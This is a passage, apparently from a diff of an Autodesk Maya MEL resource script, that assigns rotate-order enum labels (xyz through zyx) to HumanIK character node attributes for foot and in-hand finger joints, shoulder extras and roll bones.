"HIKCharacterNode", "RightFootIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootRingRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", 